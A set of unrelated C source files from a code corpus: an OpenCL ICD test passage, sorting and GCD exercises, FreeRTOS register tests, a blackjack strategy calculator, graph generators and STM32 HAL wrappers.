#ifdef OCL_ICD_PRINT_EXPECTED
printf("97 : %s (expected)\n", "clCreateProgramWithBuiltInKernels");
#endif
fflush(NULL);
clCompileProgram((cl_program )chosen_platform,( cl_uint )0,( const cl_device_id * )0,( const char * )0,( cl_uint )0,( const cl_program * )0,( const char ** )0,( void (CL_CALLBACK * )(cl_program , void * ))0,( void *)0);
printf("%s\n", "clCompileProgram");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("98 : %s (expected)\n", "clCompileProgram");
#endif
fflush(NULL);
clLinkProgram((cl_context )chosen_platform,( cl_uint )0,( const cl_device_id * )0,( const char * )0,( cl_uint )0,( const cl_program * )0,( void (CL_CALLBACK * )(cl_program , void * ))0,( void * )0,( cl_int *)0);
printf("%s\n", "clLinkProgram");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("99 : %s (expected)\n", "clLinkProgram");
#endif
fflush(NULL);
clUnloadPlatformCompiler((cl_platform_id)chosen_platform);
printf("%s\n", "clUnloadPlatformCompiler");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("100 : %s (expected)\n", "clUnloadPlatformCompiler");
#endif
fflush(NULL);
clGetKernelArgInfo((cl_kernel )chosen_platform,( cl_uint )0,( cl_kernel_arg_info )0,( size_t )0,( void * )0,( size_t *)0);
printf("%s\n", "clGetKernelArgInfo");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("101 : %s (expected)\n", "clGetKernelArgInfo");
#endif
fflush(NULL);
clEnqueueFillBuffer((cl_command_queue )chosen_platform,( cl_mem )0,( const void * )0,( size_t )0,( size_t )0,( size_t )0,( cl_uint )0,( const cl_event * )0,( cl_event *)0);
printf("%s\n", "clEnqueueFillBuffer");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("102 : %s (expected)\n", "clEnqueueFillBuffer");
#endif
fflush(NULL);
clEnqueueFillImage((cl_command_queue )chosen_platform,( cl_mem )0,( const void * )0,( const size_t * )0,( const size_t * )0,( cl_uint )0,( const cl_event * )0,( cl_event *)0);
printf("%s\n", "clEnqueueFillImage");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("103 : %s (expected)\n", "clEnqueueFillImage");
#endif
fflush(NULL);
clEnqueueMigrateMemObjects((cl_command_queue )chosen_platform,( cl_uint )0,( const cl_mem * )0,( cl_mem_migration_flags )0,( cl_uint )0,( const cl_event * )0,( cl_event *)0);
printf("%s\n", "clEnqueueMigrateMemObjects");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("104 : %s (expected)\n", "clEnqueueMigrateMemObjects");
#endif
fflush(NULL);
clEnqueueMarkerWithWaitList((cl_command_queue )chosen_platform,( cl_uint )0,( const cl_event * )0,( cl_event *)0);
printf("%s\n", "clEnqueueMarkerWithWaitList");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("105 : %s (expected)\n", "clEnqueueMarkerWithWaitList");
#endif
fflush(NULL);
clEnqueueBarrierWithWaitList((cl_command_queue )chosen_platform,( cl_uint )0,( const cl_event * )0,( cl_event *)0);
printf("%s\n", "clEnqueueBarrierWithWaitList");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("106 : %s (expected)\n", "clEnqueueBarrierWithWaitList");
#endif
fflush(NULL);
clGetExtensionFunctionAddressForPlatform((cl_platform_id )chosen_platform,"extLIG");
printf("%s\n", "clGetExtensionFunctionAddressForPlatform");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("107 : %s (expected)\n", "clGetExtensionFunctionAddressForPlatform");
#endif
fflush(NULL);
clCreateFromGLTexture((cl_context )chosen_platform,( cl_mem_flags )0,( cl_GLenum )0,( cl_GLint )0,( cl_GLuint )0,( cl_int *)0);
printf("%s\n", "clCreateFromGLTexture");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("108 : %s (expected)\n", "clCreateFromGLTexture");
#endif
fflush(NULL);
clCreateFromEGLImageKHR((cl_context )chosen_platform,( CLeglDisplayKHR )0,( CLeglImageKHR )0,( cl_mem_flags )0,( const cl_egl_image_properties_khr * )0,( cl_int *)0);
printf("%s\n", "clCreateFromEGLImageKHR");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("119 : %s (expected)\n", "clCreateFromEGLImageKHR");
#endif
fflush(NULL);
clEnqueueAcquireEGLObjectsKHR((cl_command_queue )chosen_platform,( cl_uint )0,( const cl_mem * )0,( cl_uint )0,( const cl_event * )0,( cl_event *)0);
printf("%s\n", "clEnqueueAcquireEGLObjectsKHR");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("120 : %s (expected)\n", "clEnqueueAcquireEGLObjectsKHR");
#endif
fflush(NULL);
clEnqueueReleaseEGLObjectsKHR((cl_command_queue )chosen_platform,( cl_uint )0,( const cl_mem * )0,( cl_uint )0,( const cl_event * )0,( cl_event *)0);
printf("%s\n", "clEnqueueReleaseEGLObjectsKHR");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("121 : %s (expected)\n", "clEnqueueReleaseEGLObjectsKHR");
#endif
fflush(NULL);
clCreateEventFromEGLSyncKHR((cl_context )chosen_platform,( CLeglSyncKHR )0,( CLeglDisplayKHR )0,( cl_int *)0);
printf("%s\n", "clCreateEventFromEGLSyncKHR");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("122 : %s (expected)\n", "clCreateEventFromEGLSyncKHR");
#endif
fflush(NULL);
clCreateCommandQueueWithProperties((cl_context )chosen_platform,( cl_device_id )0,( const cl_queue_properties * )0,( cl_int *)0);
printf("%s\n", "clCreateCommandQueueWithProperties");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("123 : %s (expected)\n", "clCreateCommandQueueWithProperties");
#endif
fflush(NULL);
clCreatePipe((cl_context )chosen_platform,( cl_mem_flags )0,( cl_uint )0,( cl_uint )0,( const cl_pipe_properties * )0,( cl_int *)0);
printf("%s\n", "clCreatePipe");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("124 : %s (expected)\n", "clCreatePipe");
#endif
fflush(NULL);
clGetPipeInfo((cl_mem )chosen_platform,( cl_pipe_info )0,( size_t )0,( void * )0,( size_t *)0);
printf("%s\n", "clGetPipeInfo");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("125 : %s (expected)\n", "clGetPipeInfo");
#endif
fflush(NULL);
clSVMAlloc((cl_context )chosen_platform,( cl_svm_mem_flags )0,( size_t )0,( cl_uint)0);
printf("%s\n", "clSVMAlloc");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("126 : %s (expected)\n", "clSVMAlloc");
#endif
fflush(NULL);
clSVMFree((cl_context )chosen_platform,( void *)0);
printf("%s\n", "clSVMFree");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("127 : %s (expected)\n", "clSVMFree");
#endif
fflush(NULL);
clEnqueueSVMFree((cl_command_queue )chosen_platform,( cl_uint )0,( void ** )0,( void (CL_CALLBACK * )(cl_command_queue , cl_uint , void ** , void * ))0,( void * )0,( cl_uint )0,( const cl_event * )0,( cl_event *)0);
printf("%s\n", "clEnqueueSVMFree");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("128 : %s (expected)\n", "clEnqueueSVMFree");
#endif
fflush(NULL);
clEnqueueSVMMemcpy((cl_command_queue )chosen_platform,( cl_bool )0,( void * )0,( const void * )0,( size_t )0,( cl_uint )0,( const cl_event * )0,( cl_event *)0);
printf("%s\n", "clEnqueueSVMMemcpy");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("129 : %s (expected)\n", "clEnqueueSVMMemcpy");
#endif
fflush(NULL);
clEnqueueSVMMemFill((cl_command_queue )chosen_platform,( void * )0,( const void * )0,( size_t )0,( size_t )0,( cl_uint )0,( const cl_event * )0,( cl_event *)0);
printf("%s\n", "clEnqueueSVMMemFill");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("130 : %s (expected)\n", "clEnqueueSVMMemFill");
#endif
fflush(NULL);
clEnqueueSVMMap((cl_command_queue )chosen_platform,( cl_bool )0,( cl_map_flags )0,( void * )0,( size_t )0,( cl_uint )0,( const cl_event * )0,( cl_event *)0);
printf("%s\n", "clEnqueueSVMMap");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("131 : %s (expected)\n", "clEnqueueSVMMap");
#endif
fflush(NULL);
clEnqueueSVMUnmap((cl_command_queue )chosen_platform,( void * )0,( cl_uint )0,( const cl_event * )0,( cl_event *)0);
printf("%s\n", "clEnqueueSVMUnmap");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("132 : %s (expected)\n", "clEnqueueSVMUnmap");
#endif
fflush(NULL);
clCreateSamplerWithProperties((cl_context )chosen_platform,( const cl_sampler_properties * )0,( cl_int *)0);
printf("%s\n", "clCreateSamplerWithProperties");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("133 : %s (expected)\n", "clCreateSamplerWithProperties");
#endif
fflush(NULL);
clSetKernelArgSVMPointer((cl_kernel )chosen_platform,( cl_uint )0,( const void *)0);
printf("%s\n", "clSetKernelArgSVMPointer");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("134 : %s (expected)\n", "clSetKernelArgSVMPointer");
#endif
fflush(NULL);
clSetKernelExecInfo((cl_kernel )chosen_platform,( cl_kernel_exec_info )0,( size_t )0,( const void *)0);
printf("%s\n", "clSetKernelExecInfo");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("135 : %s (expected)\n", "clSetKernelExecInfo");
#endif
fflush(NULL);
clGetKernelSubGroupInfoKHR((cl_kernel )chosen_platform,( cl_device_id )0,( cl_kernel_sub_group_info )0,( size_t )0,( const void * )0,( size_t )0,( void* )0,( size_t*)0);
printf("%s\n", "clGetKernelSubGroupInfoKHR");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("136 : %s (expected)\n", "clGetKernelSubGroupInfoKHR");
#endif
fflush(NULL);
clCloneKernel((cl_kernel )chosen_platform,( cl_int*)0);
printf("%s\n", "clCloneKernel");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("137 : %s (expected)\n", "clCloneKernel");
#endif
fflush(NULL);
clCreateProgramWithIL((cl_context )chosen_platform,( const void* )0,( size_t )0,( cl_int*)0);
printf("%s\n", "clCreateProgramWithIL");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("138 : %s (expected)\n", "clCreateProgramWithIL");
#endif
fflush(NULL);
clEnqueueSVMMigrateMem((cl_command_queue )chosen_platform,( cl_uint )0,( const void ** )0,( const size_t * )0,( cl_mem_migration_flags )0,( cl_uint )0,( const cl_event * )0,( cl_event *)0);
printf("%s\n", "clEnqueueSVMMigrateMem");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("139 : %s (expected)\n", "clEnqueueSVMMigrateMem");
#endif
fflush(NULL);
clGetDeviceAndHostTimer((cl_device_id )chosen_platform,( cl_ulong* )0,( cl_ulong*)0);
printf("%s\n", "clGetDeviceAndHostTimer");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("140 : %s (expected)\n", "clGetDeviceAndHostTimer");
#endif
fflush(NULL);
clGetHostTimer((cl_device_id )chosen_platform,( cl_ulong *)0);
printf("%s\n", "clGetHostTimer");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("141 : %s (expected)\n", "clGetHostTimer");
#endif
fflush(NULL);
clGetKernelSubGroupInfo((cl_kernel )chosen_platform,( cl_device_id )0,( cl_kernel_sub_group_info )0,( size_t )0,( const void* )0,( size_t )0,( void* )0,( size_t*)0);
printf("%s\n", "clGetKernelSubGroupInfo");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("142 : %s (expected)\n", "clGetKernelSubGroupInfo");
#endif
fflush(NULL);
clSetDefaultDeviceCommandQueue((cl_context )chosen_platform,( cl_device_id )0,( cl_command_queue)0);
printf("%s\n", "clSetDefaultDeviceCommandQueue");
#ifdef OCL_ICD_PRINT_EXPECTED
printf("143 : %s (expected)\n", "clSetDefaultDeviceCommandQueue");
#endif
fflush(NULL);
return;
}
|
the_stack_data/36076126.c
|
//8 4 3 7 6 5 2 1
#include "stdio.h"
#include "stdlib.h"
void merge_sort(int len, int nums[]) {
if (len <= 1) {
return;
}
int middle = len / 2;
merge_sort(middle, nums);
merge_sort(len - middle, nums + middle);
int cloned[middle];
for (int i = 0; i < middle; i++) {
cloned[i] = nums[i];
}
int left = 0;
int right = middle;
int new_pos = 0;
while (left < middle && right < len) {
if (cloned[left] >= nums[right]) {
nums[new_pos] = nums[right];
right++;
} else {
nums[new_pos] = cloned[left];
left++;
}
new_pos++;
}
while (left < middle) {
nums[new_pos] = cloned[left];
left++;
new_pos++;
}
}
/**
* nums=6,5 left=6, right=5
* nums=5,5 left > right then
* nums=5,6 remain left
*
* nums=5,6 left=5, right=6
* nums=5,6 left < right then
* nums=5,6 remain left
*
* nums=7,9,3,6 left=7,9, right=3,6
* nums=3,9,3,6
* nums=3,6,7,6
* nums=3,6,7,9
*/
int main() {
int nums[] = { 8, 4, 3, 7, 6, 5, 2, 1 };
size_t len = sizeof(nums) / sizeof(nums[0]);
merge_sort((int)len, nums);
for (int i = 0; i <= len - 1; i++) {
printf("%d", nums[i]);
}
return EXIT_SUCCESS;
}
|
the_stack_data/200142274.c
|
#include "stdio.h"
int main(void)
{
int m, n, gcd, r;
puts("input 2 integer: ");
scanf("%d,%d", &m, &n);
if ( m < n ) {
int t = m;
m = n;
n = t;
}
do{
r = m % n;
if ( r == 0 ) {
printf("gcd=%d\n",n);
break;
}
m = n; n = r;
}while(1);
return 0;
}
|
the_stack_data/28261766.c
|
/*
* FreeRTOS Kernel V10.1.0
* Copyright (C) 2018 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Permission is hereby granted, free of charge, to any person obtaining a copy of
* this software and associated documentation files (the "Software"), to deal in
* the Software without restriction, including without limitation the rights to
* use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
* the Software, and to permit persons to whom the Software is furnished to do so,
* subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
* FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
* COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
* IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
* CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*
* http://www.FreeRTOS.org
* http://aws.amazon.com/freertos
*
* 1 tab == 4 spaces!
*/
/*
* "Reg test" tasks - These fill the registers with known values, then check
* that each register maintains its expected value for the lifetime of the
* task. Each task uses a different set of values. The reg test tasks execute
* with a very low priority, so get preempted very frequently. A register
* containing an unexpected value is indicative of an error in the context
* switching mechanism.
*/
void vRegTest1Task( void ) __attribute__((naked));
void vRegTest2Task( void ) __attribute__((naked));
void vRegTest1Task( void )
{
__asm volatile
(
".extern ulRegTest1LoopCounter \n"
" \n"
" /* Fill the core registers with known values. */ \n"
" movs r1, #101 \n"
" movs r2, #102 \n"
" movs r3, #103 \n"
" movs r4, #104 \n"
" movs r5, #105 \n"
" movs r6, #106 \n"
" movs r7, #107 \n"
" movs r0, #108 \n"
" mov r8, r0 \n"
" movs r0, #109 \n"
" mov r9, r0 \n"
" movs r0, #110 \n"
" mov r10, r0 \n"
" movs r0, #111 \n"
" mov r11, r0 \n"
" movs r0, #112 \n"
" mov r12, r0 \n"
" movs r0, #100 \n"
" \n"
"reg1_loop: \n"
" \n"
" cmp r0, #100 \n"
" bne reg1_error_loop \n"
" cmp r1, #101 \n"
" bne reg1_error_loop \n"
" cmp r2, #102 \n"
" bne reg1_error_loop \n"
" cmp r3, #103 \n"
" bne reg1_error_loop \n"
" cmp r4, #104 \n"
" bne reg1_error_loop \n"
" cmp r5, #105 \n"
" bne reg1_error_loop \n"
" cmp r6, #106 \n"
" bne reg1_error_loop \n"
" cmp r7, #107 \n"
" bne reg1_error_loop \n"
" movs r0, #108 \n"
" cmp r8, r0 \n"
" bne reg1_error_loop \n"
" movs r0, #109 \n"
" cmp r9, r0 \n"
" bne reg1_error_loop \n"
" movs r0, #110 \n"
" cmp r10, r0 \n"
" bne reg1_error_loop \n"
" movs r0, #111 \n"
" cmp r11, r0 \n"
" bne reg1_error_loop \n"
" movs r0, #112 \n"
" cmp r12, r0 \n"
" bne reg1_error_loop \n"
" \n"
" /* Everything passed, increment the loop counter. */ \n"
" push { r1 } \n"
" ldr r0, =ulRegTest1LoopCounter \n"
" ldr r1, [r0] \n"
" add r1, r1, #1 \n"
" str r1, [r0] \n"
" \n"
" /* Yield to increase test coverage. */ \n"
" movs r0, #0x01 \n"
" ldr r1, =0xe000ed04 \n" /*NVIC_INT_CTRL */
" lsl r0, #28 \n" /* Shift to PendSV bit */
" str r0, [r1] \n"
" dsb \n"
" pop { r1 } \n"
" \n"
" /* Start again. */ \n"
" movs r0, #100 \n"
" b reg1_loop \n"
" \n"
"reg1_error_loop: \n"
" /* If this line is hit then there was an error in a core register value. \n"
" The loop ensures the loop counter stops incrementing. */ \n"
" b reg1_error_loop \n"
" nop \n"
);
}
/*-----------------------------------------------------------*/
void vRegTest2Task( void )
{
__asm volatile
(
".extern ulRegTest2LoopCounter \n"
" \n"
" /* Fill the core registers with known values. */ \n"
" movs r1, #1 \n"
" movs r2, #2 \n"
" movs r3, #3 \n"
" movs r4, #4 \n"
" movs r5, #5 \n"
" movs r6, #6 \n"
" movs r7, #7 \n"
" movs r0, #8 \n"
" movs r8, r0 \n"
" movs r0, #9 \n"
" mov r9, r0 \n"
" movs r0, #10 \n"
" mov r10, r0 \n"
" movs r0, #11 \n"
" mov r11, r0 \n"
" movs r0, #12 \n"
" mov r12, r0 \n"
" movs r0, #10 \n"
" \n"
"reg2_loop: \n"
" \n"
" cmp r0, #10 \n"
" bne reg2_error_loop \n"
" cmp r1, #1 \n"
" bne reg2_error_loop \n"
" cmp r2, #2 \n"
" bne reg2_error_loop \n"
" cmp r3, #3 \n"
" bne reg2_error_loop \n"
" cmp r4, #4 \n"
" bne reg2_error_loop \n"
" cmp r5, #5 \n"
" bne reg2_error_loop \n"
" cmp r6, #6 \n"
" bne reg2_error_loop \n"
" cmp r7, #7 \n"
" bne reg2_error_loop \n"
" movs r0, #8 \n"
" cmp r8, r0 \n"
" bne reg2_error_loop \n"
" movs r0, #9 \n"
" cmp r9, r0 \n"
" bne reg2_error_loop \n"
" movs r0, #10 \n"
" cmp r10, r0 \n"
" bne reg2_error_loop \n"
" movs r0, #11 \n"
" cmp r11, r0 \n"
" bne reg2_error_loop \n"
" movs r0, #12 \n"
" cmp r12, r0 \n"
" bne reg2_error_loop \n"
" \n"
" /* Everything passed, increment the loop counter. */ \n"
" push { r1 } \n"
" ldr r0, =ulRegTest2LoopCounter \n"
" ldr r1, [r0] \n"
" add r1, r1, #1 \n"
" str r1, [r0] \n"
" pop { r1 } \n"
" \n"
" /* Start again. */ \n"
" movs r0, #10 \n"
" b reg2_loop \n"
" \n"
"reg2_error_loop: \n"
" /* If this line is hit then there was an error in a core register value. \n"
" The loop ensures the loop counter stops incrementing. */ \n"
" b reg2_error_loop \n"
" nop \n"
);
}
/*-----------------------------------------------------------*/
|
the_stack_data/215767437.c
|
#include <stdio.h>
#include <string.h>
void out(char in[], char c)
{
int count = 0;
int i;
for (i = 0; i < strlen(in); i++)
{
if (in[i] == c)
count++;
}
if (count > 0)
printf("Occurrence of '%c' in '%s' = %d\n", c, in, count);
else
printf("'%c' is not present\n", c);
}
int main()
{
int testCase, i;
char str[10001];
char ch;
scanf("%d", &testCase);
for (i = 1; i <= testCase; i++)
{
getchar();
gets(str);
ch = getchar();
out(str, ch);
}
return 0;
}
|
the_stack_data/100139771.c
|
#include <stdio.h>
#include <string.h>
int main()
{
int i,n,k=1;
char str[1000];
gets(str);
n=strlen(str);
for(i=0;i<=n/2;i++)
if(str[i]!=str[n-i-1])
{
k=0;
break;
}
k?printf("YES\n"):printf("NO\n");
return 0;
}
|
the_stack_data/350827.c
|
#include <assert.h>
#include <stdio.h>
#include <string.h>
#define NDECKS 6
#define DOUBLE_AFTER_SPLIT 1
#define BLACKJACK_PAYS 1.5
#define CACHE_SIZE (3083)
#define mean(dest, code) __extension__ ({ \
cards_left--; double result = 0; long *p = cache[dest].next; \
for (long i = 1; i < 11; ++deck[i], ++i) { \
long dest = p[i]; result += (double) deck[i]-- * ({code;}); \
} result / ++cards_left; })
#define max(a, b) ((a) > (b) ? (a) : (b))
#define isnan(x) ((x) != (x)) // faster than the one from math.h
#define eval_bank() _eval_bank(hand, bank)
#define eval_hand(moves) _eval_hand(hand, bank, moves)
/* Returns 1 if a > b, -1 if a < b, and 0 if a == b.
* Same effect as (a > b) - (a < b), but about 2% faster. */
static inline double cmp(long a, long b) {
double result;
__asm__ volatile("cmpq %2, %1; seta %b1; sbb $0, %k1; cvtsi2sd %k1, %0"
: "=x"(result), "+r"(a) : "r"(b));
return result;
}
struct hand {
long next[11];
long value;
long can_split;
};
static struct hand cache[CACHE_SIZE];
static double hand_cache[CACHE_SIZE][5];
static double bank_cache[CACHE_SIZE] = {1};
__extension__ static long deck[11] = {[1 ... 9] = 4 * NDECKS, 4 * 4 * NDECKS};
static int cards_left = 52 * NDECKS;
static double _eval_bank(long hand, long bank) {
if (isnan(bank_cache[bank]))
bank_cache[bank] = cache[bank].value >= 17
? cmp(cache[hand].value, cache[bank].value)
: mean(bank, eval_bank());
return bank_cache[bank];
}
static double _eval_hand(long hand, long bank, long moves) {
// Look in the cache
double *exp = hand_cache[hand];
if (exp[moves])
return exp[moves];
// Busted!
if (!hand)
return exp[4] = exp[3] = exp[2] = exp[1] = exp[0] = -1;
// Stay
memset(bank_cache + 1, 255, sizeof(bank_cache) - sizeof(*bank_cache));
exp[0] = eval_bank() * (cache[hand].value == 22 ? BLACKJACK_PAYS : 1);
if (moves == 0)
return exp[0];
if (cache[hand].value > 18)
return exp[4] = exp[3] = exp[2] = exp[1] = exp[0];
// Hit
long das = hand < 11 && DOUBLE_AFTER_SPLIT;
double hit = mean(hand, cache[hand].can_split ? .0 : eval_hand(1 + das));
double dbl = mean(hand, cache[hand].can_split ? .0 : 2 * eval_hand(0));
double split = 2 * hand_cache[cache[hand].can_split][1];
double ratio = (cards_left - (hand < 11 ? 2.0 * deck[hand] : 0.0)) / cards_left;
exp[1] = max(exp[0], hit / ratio);
exp[2] = max(exp[1], dbl / ratio);
exp[3] = max(exp[2], -.5);
exp[4] = max(exp[3], split);
return exp[moves];
}
static void fill_cache(long hash, long sum, long new_card) {
static long count;
static long hand[11];
long soft = hand[1] && sum <= 11;
cache[hash].value = sum + 10 * soft + (soft && hand[10]);
cache[hash].can_split = sum % 2 == 0 && hand[sum / 2] == 2 ? sum / 2 : 0;
for (long i = 1; i < new_card && sum + i <= 21; ++i)
for (long j = 1; j < 11; ++j)
for (long k = 0; k < hand[j] + (j == i); ++k)
cache[hash].next[i] = cache[cache[hash].next[i]].next[j];
for (long i = new_card; i < 11 && sum + i <= 21; ++i)
cache[hash].next[i] = ++count;
for (long i = new_card; i < 11 && sum + i <= 21; ++i) {
++hand[i];
fill_cache(cache[hash].next[i], sum + i, i);
--hand[i];
}
}
static void print_strat(long bank, long hand_first, long hand_snd) {
char repr[] = "SHDRP";
double *exp = hand_cache[cache[hand_first].next[hand_snd]];
long max = 0;
for (long i = 1; i < 5; i++)
if (exp[i] > exp[max])
max = i;
printf("\033[%ldG%c\n", bank == 1 ? 22 : bank * 2, repr[max]);
}
static double halfmain(long bank) {
long hand = 0;
memset(hand_cache, 0, sizeof(hand_cache));
mean(hand, eval_hand(1));
double result = mean(hand, mean(hand, eval_hand(4)));
for (long sum = 5; sum < 20; ++sum)
print_strat(bank, (sum - 1) / 2, sum / 2 + 1);
for (long i = 2; i < 11; ++i)
print_strat(bank, 1, i);
for (long i = 1; i < 11; ++i)
print_strat(bank, i, i);
printf("\033[34A");
return result;
}
int main(void) {
fill_cache(0, 0, 1);
long bank = 0;
double expected_gain = mean(bank, halfmain(bank));
printf("\033[34BExpected gain: %f%%\n", expected_gain * 100);
return 0;
}
|
the_stack_data/56148.c
|
/*
* This file is part of the Micro Python project, http://micropython.org/
*
* The MIT License (MIT)
*
* Copyright (c) 2013, 2014 Damien P. George
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
#include <stdarg.h>
#include <stdio.h>
#include <malloc.h>
// _snprintf/vsnprintf are fine, except the 'F' specifier is not handled
int snprintf(char *dest, size_t count, const char *format, ...) {
const size_t fmtLen = strlen(format) + 1;
char *fixedFmt = alloca(fmtLen);
for (size_t i = 0; i < fmtLen; ++i)
fixedFmt[i] = format[i] == 'F' ? 'f' : format[i];
va_list args;
va_start(args, format);
const int ret = vsnprintf(dest, count, fixedFmt, args);
va_end(args);
return ret;
}
|
the_stack_data/206392286.c
|
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
void generate_line(uint32_t len)
{
FILE *f;
f = fopen ("out", "w+");
uint32_t i;
for (i = 1; i <= len; i++) {
if (i == 1) { /*First vertex*/
fprintf(f, "1 --> 2\n");
} else if (i == len) { /*Last vertex*/
fprintf(f, "%d --> %d\n", len, len - 1);
} else {
fprintf(f, "%d --> %d %d\n", i, i - 1, i + 1);
}
if (i != len)
fprintf(f, "\n");
}
fclose(f);
}
void generate_circle(uint32_t len)
{
FILE *f;
f = fopen ("out", "w+");
uint32_t i;
for (i = 1; i <= len; i++) {
if (i == 1) { /*First vertex*/
fprintf(f, "1 --> 2 %d\n", len);
} else if (i == len) { /*Last vertex*/
fprintf(f, "%d --> %d 1\n", len, len - 1);
} else {
fprintf(f, "%d --> %d %d\n", i, i - 1, i + 1);
}
if (i != len)
fprintf(f, "\n");
}
fclose(f);
}
void generate_star(uint32_t len)
{
FILE *f;
uint32_t i;
f = fopen ("out", "w+");
/*First line*/
fprintf(f, "1 -->");
for (i = 2; i <= len; i++)
fprintf(f, " %d", i);
fprintf(f, "\n");
for (i = 2; i <= len; i++) {
fprintf(f, "%d --> 1", i);
if (i != len)
fprintf(f, "\n");
}
fclose(f);
}
void generate_complete(uint32_t len)
{
FILE *f;
uint32_t i;
f = fopen ("out", "w+");
for (i = 1; i <= len; i++) {
fprintf(f, "%d -->", i);
uint32_t j;
for (j = 1; j <= len; j++) {
if (j != i) {
fprintf(f, " %d", j);
}
}
fprintf(f, "\n");
if (i != len)
fprintf(f, "\n");
}
fclose(f);
}
void generate_dandelion(uint32_t len)
{
FILE *f;
uint32_t i;
f = fopen ("out", "w+");
/*Root vertex*/
fprintf(f, "1 -->");
for (i = 2; i <= len; i++) {
fprintf(f, " %d", i);
}
fprintf(f, "\n\n");
for (i = 2; i <= len; i++) {
if (i == 2) {
fprintf(f, "2 --> 1 3\n");
} else if (i == len) {
fprintf(f, "%d --> 1 %d\n", len, len - 1);
} else {
fprintf(f, "%d --> 1 %d %d\n", i, i - 1, i + 1);
}
if (i != len)
fprintf(f, "\n");
}
fclose(f);
}
|
the_stack_data/248579933.c
|
/* HAL raised several warnings, ignore them */
#pragma GCC diagnostic push
#pragma GCC diagnostic ignored "-Wunused-parameter"
#ifdef STM32F0xx
#include "stm32f0xx_hal_dac.c"
#elif STM32F1xx
#include "stm32f1xx_hal_dac.c"
#elif STM32F2xx
#include "stm32f2xx_hal_dac.c"
#elif STM32F3xx
#include "stm32f3xx_hal_dac.c"
#elif STM32F4xx
#include "stm32f4xx_hal_dac.c"
#elif STM32F7xx
#include "stm32f7xx_hal_dac.c"
#elif STM32G0xx
#include "stm32g0xx_hal_dac.c"
#elif STM32G4xx
#include "stm32g4xx_hal_dac.c"
#elif STM32H7xx
#include "stm32h7xx_hal_dac.c"
#elif STM32L0xx
#include "stm32l0xx_hal_dac.c"
#elif STM32L1xx
#include "stm32l1xx_hal_dac.c"
#elif STM32L4xx
#include "stm32l4xx_hal_dac.c"
#elif STM32L5xx
#include "stm32l5xx_hal_dac.c"
#elif STM32MP1xx
#include "stm32mp1xx_hal_dac.c"
#elif STM32WLxx
#include "stm32wlxx_hal_dac.c"
#endif
#pragma GCC diagnostic pop
|
the_stack_data/176706536.c
|
/* A utility program originally written for the Linux OS SCSI subsystem.
* Copyright (C) 2000-2016 D. Gilbert
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2, or (at your option)
* any later version.
This is an auxiliary file holding data tables for the sg_inq utility.
It is mainly based on the SCSI SPC-5 document at http://www.t10.org .
*/
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
/* Assume index is less than 16 */
const char * sg_ansi_version_arr[16] =
{
